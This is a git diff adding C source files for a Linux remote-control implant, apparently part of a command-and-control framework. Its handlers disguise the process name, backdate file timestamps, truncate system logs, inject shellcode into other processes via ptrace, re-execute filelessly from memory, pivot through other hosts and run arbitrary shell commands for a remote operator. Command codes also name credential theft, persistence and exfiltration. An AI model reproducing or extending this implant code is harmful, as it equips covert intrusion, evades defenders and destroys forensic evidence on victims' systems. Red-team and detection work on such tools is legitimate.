a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h new file mode 100644 index 000000000..c7bdf2e57 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h @@ -0,0 +1,20 @@ +#ifndef TASKS_NET_H +#define TASKS_NET_H + +#include "msgpack.h" +#include + +/// Network command handlers +/// Tunnels: MUX model via proxyfire (no threads, data in main channel) +/// Terminals: thread + separate connection (Phase 2 migration) + +int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_NET_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c new file mode 100644 index 000000000..5ebb90ea0 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c @@ -0,0 +1,243 @@ +/// tasks_opsec.c -- OPSEC command handlers for Linux agent +/// masquerade, timestomp, cleanlog, inject, migrate +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_opsec.h" +#include "opsec.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static void write_output(mp_writer_t *w, const char *text) { + mp_write_map(w, 1); + mp_write_kv_str(w, "output", text); +} + +// ══════════════════════════════════════════════════════════════════════ +// masquerade — set fake process name +// Input msgpack: {name: "string"} +// ══════════════════════════════════════════════════════════════════════ + +// Stored argv pointer from _start / so_entry for masquerading +// Set by main.c at startup +extern char **g_argv; + +int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + const char *name = NULL; + uint32_t name_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "name", 4) == 0) { + mp_read_str(&r, &name, &name_len); + } else { + mp_skip(&r); + } + } + + if (!name || name_len == 0) { + write_error(w, "missing 'name' parameter"); + return 0; + } + + // Copy name to NUL-terminated buffer + char name_buf[256]; + uint32_t copy_len = name_len < sizeof(name_buf) - 1 ? name_len : (uint32_t)(sizeof(name_buf) - 1); + ax_memcpy(name_buf, name, copy_len); + name_buf[copy_len] = '\0'; + + opsec_masquerade(name_buf, g_argv); + + // Build response + char msg[320]; + ax_strcpy(msg, "Process masqueraded as: "); + ax_strcat(msg, name_buf); + write_output(w, msg); + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// timestomp — modify file timestamps +// Input msgpack: {path: "string", timestamp: uint64 (optional, 0=auto)} +// ══════════════════════════════════════════════════════════════════════ + +int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + const char *path = NULL; + uint32_t path_len = 0; + uint64_t timestamp = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "path", 4) == 0) { + mp_read_str(&r, &path, &path_len); + } else if (klen == 9 && ax_memcmp(key, "timestamp", 9) == 0) { + mp_read_uint(&r, ×tamp); + } else { + mp_skip(&r); + } + } + + if (!path || path_len == 0) { + write_error(w, "missing 'path' parameter"); + return 0; + } + + char path_buf[1024]; + uint32_t pcopy = path_len < sizeof(path_buf) - 1 ? path_len : (uint32_t)(sizeof(path_buf) - 1); + ax_memcpy(path_buf, path, pcopy); + path_buf[pcopy] = '\0'; + + int ret = opsec_timestomp(path_buf, (long)timestamp); + if (ret < 0) { + write_error(w, "timestomp failed"); + } else { + char msg[1080]; + ax_strcpy(msg, "Timestamps modified: "); + ax_strcat(msg, path_buf); + if (timestamp == 0) { + ax_strcat(msg, " (copied from /usr/bin/ls)"); + } + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// cleanlog — truncate system logs +// No input params +// ══════════════════════════════════════════════════════════════════════ + +int task_cleanlog(mp_writer_t *w) { + int cleaned = opsec_clean_logs(); + if (cleaned == 0) { + write_error(w, "No logs truncated (requires root)"); + } else { + char msg[64]; + char num[16]; + ax_itoa(cleaned, num, 10); + ax_strcpy(msg, "Truncated "); + ax_strcat(msg, num); + ax_strcat(msg, " log file(s)"); + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// inject — ptrace shellcode injection +// Input msgpack: {pid: uint, shellcode: bin} +// ══════════════════════════════════════════════════════════════════════ + +int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + uint64_t pid = 0; + const uint8_t *shellcode = NULL; + uint32_t sc_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + mp_read_uint(&r, &pid); + } else if (klen == 9 && ax_memcmp(key, "shellcode", 9) == 0) { + mp_read_bin(&r, &shellcode, &sc_len); + } else { + mp_skip(&r); + } + } + + if (pid == 0) { + write_error(w, "missing 'pid' parameter"); + return 0; + } + if (!shellcode || sc_len == 0) { + write_error(w, "missing 'shellcode' parameter"); + return 0; + } + + int ret = opsec_inject_ptrace((int)pid, shellcode, sc_len); + if (ret < 0) { + write_error(w, "ptrace injection failed (check permissions/PID)"); + } else { + char msg[128]; + char pid_str[16]; + char sc_str[16]; + ax_itoa((int)pid, pid_str, 10); + ax_itoa((int)sc_len, sc_str, 10); + ax_strcpy(msg, "Injected "); + ax_strcat(msg, sc_str); + ax_strcat(msg, " bytes into PID "); + ax_strcat(msg, pid_str); + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// migrate — re-exec from memfd (fileless mode) +// No input params — this replaces the current process! +// On success, this function never returns. +// ══════════════════════════════════════════════════════════════════════ + +int task_migrate(mp_writer_t *w) { +#ifdef BUILD_SO + // In SO mode, /proc/self/exe points to the host process, not our agent. + // memfd re-exec would re-launch the host binary, not the agent. + write_error(w, "migrate not supported in SO mode (use ELF format)"); + return 0; +#else + // Attempt fileless re-exec via memfd_create. + // On success, this replaces the process → teamserver sees disconnect + new init. + // On failure, we report error and agent continues normally. + int ret = opsec_migrate_memfd(g_argv, NULL); + + // Only reached on failure (success = execve replaces process) + write_error(w, "memfd migration failed (check kernel support or permissions)"); + (void)ret; + return 0; +#endif +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h new file mode 100644 index 000000000..6e70c2999 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h @@ -0,0 +1,24 @@ +#ifndef TASKS_OPSEC_H +#define TASKS_OPSEC_H + +#include "types.h" +#include "msgpack.h" + +/// OPSEC command handlers + +/// masquerade — set process name to fake value +int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// timestomp — modify file timestamps +int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// cleanlog — truncate system logs (requires root) +int task_cleanlog(mp_writer_t *w); + +/// inject — ptrace-based shellcode injection +int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// migrate — re-exec from memfd (fileless) +int task_migrate(mp_writer_t *w); + +#endif /* TASKS_OPSEC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c new file mode 100644 index 000000000..02236b8c9 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c @@ -0,0 +1,126 @@ +#include "tasks_pivot.h" +#include "pivot.h" +#include "crt.h" + +/// COMMAND_LINK — connect to child agent via TCP +/// Input msgpack: {address: str, port: int} +/// cmd_id is used as the pivot identifier (matches Go's task.TaskId) +int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Invalid params"); + return 0; + } + + const char *address = (const char *)0; + uint32_t addr_len = 0; + int port = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "address", 7) == 0) { + mp_read_str(&r, &address, &addr_len); + } else if (klen == 4 && ax_memcmp(key, "port", 4) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + port = (int)v; + } else { + mp_skip(&r); + } + } + + if (!address || addr_len == 0 || port <= 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Missing address or port"); + return 0; + } + + // Null-terminate the address string + char addr_buf[256]; + uint32_t copy_len = addr_len < 255 ? addr_len : 255; + ax_memcpy(addr_buf, address, copy_len); + addr_buf[copy_len] = '\0'; + + // Use cmd_id as the pivot ID — the Go side uses this for TsPivotCreate + pivot_link_tcp(&g_pivot_ctx, cmd_id, addr_buf, port, w); + return 0; +} + +/// COMMAND_UNLINK — disconnect a pivot +/// Input msgpack: {pivot_id: uint} +int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Invalid params"); + return 0; + } + + uint32_t pivot_id = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + pivot_id = (uint32_t)v; + } else { + mp_skip(&r); + } + } + + pivot_unlink(&g_pivot_ctx, pivot_id, w); + return 0; +} + +/// COMMAND_PIVOT_EXEC — relay data from teamserver to child agent +/// Input msgpack: {pivot_id: uint, data: bytes} +int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + return 0; + } + + uint32_t pivot_id = 0; + const uint8_t *relay_data = (const uint8_t *)0; + uint32_t relay_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + pivot_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, &relay_data, &relay_len); + } else { + mp_skip(&r); + } + } + + if (relay_data && relay_len > 0) { + pivot_write(&g_pivot_ctx, pivot_id, relay_data, relay_len); + } + + // PIVOT_EXEC doesn't produce a visible response — silent relay + (void)w; + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h new file mode 100644 index 000000000..622a292d1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h @@ -0,0 +1,18 @@ +#ifndef TASKS_PIVOT_H +#define TASKS_PIVOT_H + +#include "msgpack.h" +#include + +/// Pivot command handlers + +/// COMMAND_LINK — needs cmd_id as the pivot identifier +int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +/// COMMAND_UNLINK +int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +/// COMMAND_PIVOT_EXEC — relay data to child agent +int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_PIVOT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c new file mode 100644 index 000000000..d2dc433b8 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c @@ -0,0 +1,502 @@ +/// tasks_proc.c -- Process commands for Linux agent +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_proc.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Linux constants ── + +#define O_RDONLY 0 +#define SIGKILL 9 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +/// Parse /proc//stat → extract pid, comm, ppid, tty_nr +/// Format: "pid (comm) state ppid pgrp session tty_nr ..." +static int parse_proc_stat(const char *buf, int *pid, char *comm, size_t comm_size, + int *ppid, int *tty_nr) { + // Parse pid + const char *p = buf; + *pid = ax_atoi(p); + + // Find '(' for comm start + while (*p && *p != '(') p++; + if (!*p) return -1; + p++; // skip '(' + + // Find matching ')' — comm can contain spaces and parens + const char *comm_start = p; + const char *comm_end = p; + while (*p) { + if (*p == ')') comm_end = p; + p++; + } + // comm_end now points to the LAST ')' in the string + size_t clen = (size_t)(comm_end - comm_start); + if (clen >= comm_size) clen = comm_size - 1; + ax_memcpy(comm, comm_start, clen); + comm[clen] = '\0'; + + // After ') ' comes: state ppid pgrp session tty_nr ... + p = comm_end + 1; + while (*p == ' ') p++; + // state (single char) + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // ppid + *ppid = ax_atoi(p); + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // pgrp — skip + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // session — skip + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // tty_nr + *tty_nr = ax_atoi(p); + + return 0; +} + +/// Read /proc//status and extract Uid: field (first value = real UID) +static int get_proc_uid(int pid, int *uid) { + char path[64]; + ax_strcpy(path, "/proc/"); + char pidbuf[16]; + ax_itoa(pid, pidbuf, 10); + ax_strcat(path, pidbuf); + ax_strcat(path, "/status"); + + char buf[4096]; + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + long n = sys_read(fd, buf, sizeof(buf) - 1); + sys_close(fd); + if (n <= 0) return -1; + buf[n] = '\0'; + + // Find "Uid:\t" + char *p = ax_strstr(buf, "Uid:"); + if (!p) return -1; + p += 4; // skip "Uid:" + while (*p == '\t' || *p == ' ') p++; + *uid = ax_atoi(p); + return 0; +} + +/// Convert UID to username by parsing /etc/passwd +static void uid_to_name(int uid, char *buf, size_t buf_size) { + char passwd[8192]; + int fd = sys_open("/etc/passwd", O_RDONLY, 0); + if (fd < 0) goto fallback; + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) goto fallback; + passwd[n] = '\0'; + + char uid_str[16]; + ax_itoa(uid, uid_str, 10); + size_t uid_len = ax_strlen(uid_str); + + { + char *line = passwd; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: name:x:uid:gid:... + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + char *uid_start = p2 + 1; + char *p3 = ax_strchr(uid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - uid_start); + if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) { + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + } + +fallback: + ax_itoa(uid, buf, 10); +} + +/// Convert tty_nr to tty name string +static void tty_to_name(int tty_nr, char *buf, size_t buf_size) { + if (tty_nr == 0) { + ax_strncpy(buf, "?", buf_size - 1); + buf[buf_size - 1] = '\0'; + return; + } + int major = (tty_nr >> 8) & 0xff; + int minor = tty_nr & 0xff; + + if (major == 136) { + // pts/ + ax_strcpy(buf, "pts/"); + char num[16]; + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } else if (major == 4 && minor < 64) { + // tty + ax_strcpy(buf, "tty"); + char num[16]; + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } else { + ax_strcpy(buf, "tty"); + char num[16]; + ax_itoa(major, num, 10); + ax_strcat(buf, num); + ax_strcat(buf, "/"); + ax_itoa(minor, num, 10); + ax_strcat(buf, num); + } +} + +// ── getdents64 for /proc scanning ── + +struct linux_dirent64 { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +// ──── Command handlers ──── + +int task_ps(mp_writer_t *w) +{ + // Scan /proc for numeric directories → each is a PID + int dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open /proc"); + mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0); + return 0; + } + + // First pass: count PIDs + char dirbuf[4096]; + uint32_t count = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9') { + count++; + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + // Second pass: collect process info + dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot reopen /proc"); + mp_write_kv_bin(w, "processes", (const uint8_t *)"", 0); + return 0; + } + + mp_writer_t procs; + mp_writer_init(&procs, 4096); + mp_write_array(&procs, count); + + uint32_t written = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + if (d->d_type == DT_DIR && d->d_name[0] >= '0' && d->d_name[0] <= '9' && written < count) { + // Read /proc//stat + char stat_path[64]; + ax_strcpy(stat_path, "/proc/"); + ax_strcat(stat_path, d->d_name); + ax_strcat(stat_path, "/stat"); + + char stat_buf[1024]; + int sfd = sys_open(stat_path, O_RDONLY, 0); + if (sfd >= 0) { + long n = sys_read(sfd, stat_buf, sizeof(stat_buf) - 1); + sys_close(sfd); + if (n > 0) { + stat_buf[n] = '\0'; + + int pid = 0, ppid = 0, tty_nr = 0; + char comm[256] = {0}; + + if (parse_proc_stat(stat_buf, &pid, comm, sizeof(comm), &ppid, &tty_nr) == 0) { + // Get UID + int proc_uid = 0; + get_proc_uid(pid, &proc_uid); + + char user[64]; + uid_to_name(proc_uid, user, sizeof(user)); + + char tty[32]; + tty_to_name(tty_nr, tty, sizeof(tty)); + + // Write PsInfo map: {pid, ppid, tty, context, process} + mp_write_map(&procs, 5); + mp_write_kv_int(&procs, "pid", pid); + mp_write_kv_int(&procs, "ppid", ppid); + mp_write_kv_str(&procs, "tty", tty); + mp_write_kv_str(&procs, "context", user); + mp_write_kv_str(&procs, "process", comm); + + written++; + } + } + } + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + // If we wrote fewer than count (processes died between passes), pad with empty maps + while (written < count) { + mp_write_map(&procs, 5); + mp_write_kv_int(&procs, "pid", 0); + mp_write_kv_int(&procs, "ppid", 0); + mp_write_kv_str(&procs, "tty", "?"); + mp_write_kv_str(&procs, "context", ""); + mp_write_kv_str(&procs, "process", "[dead]"); + written++; + } + + // AnsPs: {result: bool, status: string, processes: []byte} + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_bin(w, "processes", procs.buf.data, (uint32_t)procs.buf.len); + + mp_writer_free(&procs); + return 0; +} + +int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Parse {pid: int} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + int pid = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + uint64_t v; mp_read_uint(&r, &v); pid = (int)v; + } else { + mp_skip(&r); + } + } + + if (pid <= 0) { + write_error(w, "invalid pid"); + return 0; + } + + if (sys_kill(pid, SIGKILL) != 0) { + write_error(w, "kill failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Go sends: {program: "/bin/sh", args: ["-c", "whoami"]} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char program_buf[512] = {0}; + // argv slots: [program, arg0, arg1, ..., NULL] — max 32 args + #define SHELL_MAX_ARGS 32 + char *argv_ptrs[SHELL_MAX_ARGS + 2]; // +1 for program, +1 for NULL + int argc = 0; + char args_storage[4096] = {0}; + size_t args_off = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "program", 7) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) break; + if (vlen >= sizeof(program_buf)) vlen = sizeof(program_buf) - 1; + ax_memcpy(program_buf, val, vlen); + program_buf[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "args", 4) == 0) { + // args is an array of strings: ["-c", "whoami"] + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) { + mp_skip(&r); + continue; + } + for (uint32_t j = 0; j < arr_count && argc < SHELL_MAX_ARGS; j++) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) break; + if (args_off + vlen + 1 > sizeof(args_storage)) break; + ax_memcpy(args_storage + args_off, val, vlen); + args_storage[args_off + vlen] = '\0'; + argv_ptrs[1 + argc] = args_storage + args_off; + argc++; + args_off += vlen + 1; + } + } else { + mp_skip(&r); + } + } + + if (program_buf[0] == '\0') { + ax_strcpy(program_buf, "/bin/sh"); + } + + // Build final argv: [program, args..., NULL] + argv_ptrs[0] = program_buf; + argv_ptrs[1 + argc] = (char *)0; + + // Set up pipe for stdout+stderr capture + int pipefd[2]; + if (sys_pipe2(pipefd, 0) != 0) { + write_error(w, "pipe2 failed"); + return 0; + } + + int pid = sys_fork(); + if (pid < 0) { + sys_close(pipefd[0]); + sys_close(pipefd[1]); + write_error(w, "fork failed"); + return 0; + } + + if (pid == 0) { + // Child process + sys_close(pipefd[0]); + sys_dup2(pipefd[1], 1); + sys_dup2(pipefd[1], 2); + sys_close(pipefd[1]); + + char *envp[] = { (char *)0 }; + sys_execve(program_buf, argv_ptrs, envp); + sys_exit_group(127); + } + + // Parent + sys_close(pipefd[1]); // close write end + + // Read output from child + size_t out_cap = 8192; + size_t out_len = 0; + uint8_t *output = (uint8_t *)ax_malloc(out_cap); + + for (;;) { + if (out_len + 4096 > out_cap) { + out_cap *= 2; + output = (uint8_t *)ax_realloc(output, out_cap); + } + long n = sys_read(pipefd[0], output + out_len, 4096); + if (n <= 0) break; + out_len += (size_t)n; + } + sys_close(pipefd[0]); + + // Wait for child + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + + // Null-terminate for string output + if (out_len + 1 > out_cap) { + output = (uint8_t *)ax_realloc(output, out_len + 1); + } + output[out_len] = '\0'; + + // AnsShell: {output: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char *)output); + + ax_free(output); + return 0; +} + +int task_getuid(mp_writer_t *w) +{ + int uid = sys_getuid(); + int euid = sys_geteuid(); + + char uid_name[64], euid_name[64]; + uid_to_name(uid, uid_name, sizeof(uid_name)); + uid_to_name(euid, euid_name, sizeof(euid_name)); + + // Build "uid=() euid=()" string + char result[256]; + ax_strcpy(result, "uid="); + char num[16]; + ax_itoa(uid, num, 10); + ax_strcat(result, num); + ax_strcat(result, "("); + ax_strcat(result, uid_name); + ax_strcat(result, ") euid="); + ax_itoa(euid, num, 10); + ax_strcat(result, num); + ax_strcat(result, "("); + ax_strcat(result, euid_name); + ax_strcat(result, ")"); + + // AnsShell: {output: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "output", result); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h new file mode 100644 index 000000000..8c63409ae --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h @@ -0,0 +1,15 @@ +#ifndef TASKS_PROC_H +#define TASKS_PROC_H + +#include "msgpack.h" +#include + +/// Process command handlers +/// ps, kill, shell + +int task_ps(mp_writer_t *w); +int task_kill(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_shell(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_getuid(mp_writer_t *w); + +#endif /* TASKS_PROC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h new file mode 100644 index 000000000..47ff52228 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/types.h @@ -0,0 +1,109 @@ +#ifndef TYPES_H +#define TYPES_H + +#include +#include + +/// Boolean type +#ifndef __cplusplus +#ifndef bool +typedef _Bool bool; +#define true 1 +#define false 0 +#endif +#endif + +/// NULL +#ifndef NULL +#define NULL ((void*)0) +#endif + +/// Command codes — must match Go-side defines in pl_utils.go +#define COMMAND_ERROR 0 +#define COMMAND_PWD 1 +#define COMMAND_CD 2 +#define COMMAND_SHELL 3 +#define COMMAND_EXIT 4 +#define COMMAND_DOWNLOAD 5 +#define COMMAND_UPLOAD 6 +#define COMMAND_CAT 7 +#define COMMAND_CP 8 +#define COMMAND_MV 9 +#define COMMAND_MKDIR 10 +#define COMMAND_RM 11 +#define COMMAND_LS 12 +#define COMMAND_PS 13 +#define COMMAND_KILL 14 +#define COMMAND_ZIP 15 +#define COMMAND_RUN 17 +#define COMMAND_JOB_LIST 18 +#define COMMAND_JOB_KILL 19 + +// Linux-specific commands (slots 20-30) +#define COMMAND_GETUID 20 +#define COMMAND_ENV 21 +#define COMMAND_NETSTAT 22 +#define COMMAND_MOUNTS 23 +#define COMMAND_EDR 24 +#define COMMAND_CREDS 25 +#define COMMAND_PERSIST 26 +#define COMMAND_CONTAINER 27 + +// OPSEC commands (slots 28-30, 37-38) +#define COMMAND_MASQUERADE 28 +#define COMMAND_TIMESTOMP 29 +#define COMMAND_CLEANLOG 30 +#define COMMAND_INJECT 37 +#define COMMAND_MIGRATE 38 + +// Pivot commands (slots 39-41) +#define COMMAND_PIVOT_EXEC 39 +#define COMMAND_LINK 40 +#define COMMAND_UNLINK 41 + +// Tunnel/Terminal commands (control) +#define COMMAND_TUNNEL_START 31 +#define COMMAND_TUNNEL_STOP 32 +#define COMMAND_TUNNEL_PAUSE 33 +#define COMMAND_TUNNEL_RESUME 34 + +#define COMMAND_TERMINAL_START 35 +#define COMMAND_TERMINAL_STOP 36 + +// Tunnel MUX commands (data flows in main channel, not separate connection) +#define COMMAND_TUNNEL_WRITE 42 // teamserver → agent: write data to target +#define COMMAND_TUNNEL_STATUS 43 // agent → teamserver: connect result +#define COMMAND_TUNNEL_DATA 44 // agent → teamserver: data from target +#define COMMAND_TUNNEL_CLOSE 45 // agent → teamserver: channel closed + +// BOF commands (slots 50-52) +#define COMMAND_EXEC_BOF 50 // execute ELF BOF in-memory +#define COMMAND_EXEC_BOF_OUT 51 // BOF output callback +#define COMMAND_EXEC_BOF_ASYNC 52 // execute ELF BOF in background thread + +/// Pack types for agent ↔ teamserver protocol +#define INIT_PACK 1 +#define EXFIL_PACK 2 +#define JOB_PACK 3 +#define JOB_TUNNEL 4 +#define JOB_TERMINAL 5 +#define BOF_PACK 6 + +/// Pivot type constants +#define PIVOT_TYPE_TCP 2 +#define PIVOT_TYPE_DISCONNECT 10 + +/// Dynamic buffer type +typedef struct { + uint8_t *data; + int len; + int cap; +} buffer_t; + +// buffer_t functions are implemented in crt.c +void buf_init(buffer_t *b, int initial_cap); +void 